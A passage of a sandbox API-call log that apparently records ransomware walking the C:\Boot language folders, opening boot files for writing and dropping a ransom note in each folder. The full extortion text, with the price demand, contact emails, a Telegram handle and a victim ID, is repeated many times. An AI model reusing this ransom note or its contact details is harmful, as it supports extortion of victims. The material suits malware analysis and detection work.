ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.846] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\_readme.txt" (normalized: "c:\\boot\\fr-fr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.846] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.846] PathFindExtensionW (pszPath="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned=".mui" [0119.846] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.846] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.847] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.847] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.847] PathFindFileNameW (pszPath="C:\\Boot\\hu-HU\\") returned="hu-HU\\" [0119.847] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.847] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.847] PathFindFileNameW (pszPath="") returned="" [0119.847] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.847] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.847] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.847] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.847] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0119.847] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 0 [0119.848] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.848] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.848] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\_readme.txt" (normalized: "c:\\boot\\hu-hu\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.848] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.848] PathFindExtensionW (pszPath="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned=".mui" [0119.848] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.849] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.849] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.849] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.849] PathFindFileNameW (pszPath="C:\\Boot\\it-IT\\") returned="it-IT\\" [0119.849] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.849] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.849] PathFindFileNameW (pszPath="") returned="" [0119.849] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.849] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.849] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.849] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.849] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0119.850] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 0 [0119.850] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.850] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.850] CreateFileW (lpFileName="C:\\Boot\\it-IT\\_readme.txt" (normalized: "c:\\boot\\it-it\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.850] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.850] PathFindExtensionW (pszPath="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned=".mui" [0119.850] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.850] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.850] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.850] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.850] PathFindFileNameW (pszPath="C:\\Boot\\ja-JP\\") returned="ja-JP\\" [0119.851] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.851] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.851] PathFindFileNameW (pszPath="") returned="" [0119.851] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.851] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.851] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.851] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.851] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0119.851] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 0 [0119.851] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.851] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.852] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\_readme.txt" (normalized: "c:\\boot\\ja-jp\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.852] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.852] PathFindExtensionW (pszPath="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned=".mui" [0119.852] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.852] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.852] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.852] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.852] PathFindFileNameW (pszPath="C:\\Boot\\ko-KR\\") returned="ko-KR\\" [0119.852] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.852] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.852] PathFindFileNameW (pszPath="") returned="" [0119.852] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.853] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.853] SHGetFolderPathW 